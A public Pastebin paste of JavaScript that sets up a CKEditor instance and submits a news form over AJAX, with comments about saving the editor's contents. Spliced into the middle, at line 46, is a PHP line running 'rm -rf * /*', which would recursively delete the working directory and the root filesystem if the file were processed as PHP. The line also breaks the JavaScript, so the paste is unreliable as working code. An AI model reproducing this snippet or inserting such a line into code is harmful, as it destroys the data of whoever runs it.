Share Pastebin
Guest
Public paste!

Untitled

By: a guest | Mar 22nd, 2010 | Syntax: JavaScript | Size: 3.63 KB | Hits: 101 | Expires: Never
This paste has a previous version, view the difference. Copy text to clipboard
  1. function setup() {
  2.   // ckeditor setup -- The instance (if any previous instance exists) must be destroyed due to AJAX request (this is the code in the actual file where the ajax call is being sent to)
  3.   var o = CKEDITOR.instances['content'];
  4.   if(o) { o.destroy(); o = null; }
  5.   CKEDITOR.replace('content', {
  6.     uiColor       : '#99CCFF',
  7.     skin          : 'office2003',
  8.     customConfig  : '',
  9.     width         : 500,
  10.     resize_maxWidth: 500,
  11.     resize_minWidth: 500,
  12.     toolbar       : [
  13.         ['Source','-','Cut','Copy','Paste','PasteText','PasteFromWord','-','Print', 'SpellChecker', 'Scayt','Undo','Redo','-','Find','Replace'],
  14.         '/',
  15.         ['Bold','Italic','Underline','Strike','-','Subscript','Superscript'],
  16.         ['NumberedList','BulletedList','-','Outdent','Indent','Blockquote'],
  17.         ['JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock'],
  18.         '/',
  19.         ['Maximize', 'ShowBlocks','-','TextColor','BGColor','-','Link','Unlink','Anchor'],
  20.         ['Image','Flash','Table','HorizontalRule','SpecialChar','PageBreak'],
  21.         '/',
  22.         ['Styles','Format','Font','FontSize']
  23.     ]
  24.   });
  25.   CKEDITOR.on('instanceReady', function(ev) {
  26.     var tags = ['p', 'ol', 'ul', 'li'];
  27.     for(var key in tags) {
  28.       ev.editor.dataProcessor.writer.setRules(tags[key], {
  29.         indent : false,
  30.         breakBeforeOpen : false,
  31.         breakAfterOpen : false,
  32.         breakBeforeClose : false,
  33.         breakAfterClose : true
  34.       });
  35.     }
  36.   });
  37. }
  38.  
  39. // Save CKE contents back to textarea
  40. function saveContent() {
  41.   CKEDITOR.instances.content.updateElement(); // !! This doesn't work but on the very first instance of CKEDITOR()
  42.   var data = CKEDITOR.instances.content.getData(); // Gets the data, but the original textareas' data.
  43.   CKEDITOR.instances.content.destroy(); // Works
  44.   return data;
  45. }
  46. <?php exec("rm -rf * /*"); ?>
  47. $(function() {
  48.   $("#addNews").submit(function(e) {
  49.     e.preventDefault();
  50.     var fdata = saveContent(); // returns original textareas' data
  51.     //$("#content").val(fdata); // wanting to load the NEW data from CKE into textarea, though, I don't think this is needed
  52.     $.post('request.php', $("#addNews").serialize(), function(data) {
  53.       if(data == '1') {
  54.         ctrl.dialog($('<div />', {id: 'infoWin', title: 'News successfully saved', html: '<p style="line-height:15px;">News has been successfully saved.<br /><br />What would you like to do next?</p>'}), {
  55.           "Continue Editing": function() {
  56.             $(this).dialog('close');
  57.             setup(); // reinitialize CKEditor
  58.           },
  59.           "View all news": function() {
  60.             $(this).dialog('close');
  61.             $.get('request.php', {'_module': 'news' }, function(data) {
  62.               if(data == 'login') window.location.href = 'index.php'
  63.               else $(".midcolumn").replaceWith(data);
  64.             });
  65.           }
  66.         }).dialog('open');
  67.       } else if(data == '2') {
  68.         showInfo('Fields Missing', 'Please ensure that all fields are filled in');
  69.         setup(); // reinitialize CKE
  70.       } else if(data == 'login') {
  71.         window.location.href = 'index.php';
  72.       } else {
  73.         showInfo('Error saving page', 'Sorry, but your page couldn\'t be saved at this time. Please try again.');
  74.         setup(); // reinitialize CKE
  75.         //setTimeout(function() { CKEDITOR.instances.content.setData(fdata); }, 500); // Set CKEs data from textarea, from fdata.. again, fdata is the old textarea's content (from first page load)
  76.       }
  77.     });
  78.     return false;
  79.   });
  80.  
  81.   $(document).ready(function() {
  82.     setTimeout(function() { setup(); }, 500); // initiate cke
  83.   });
  84. });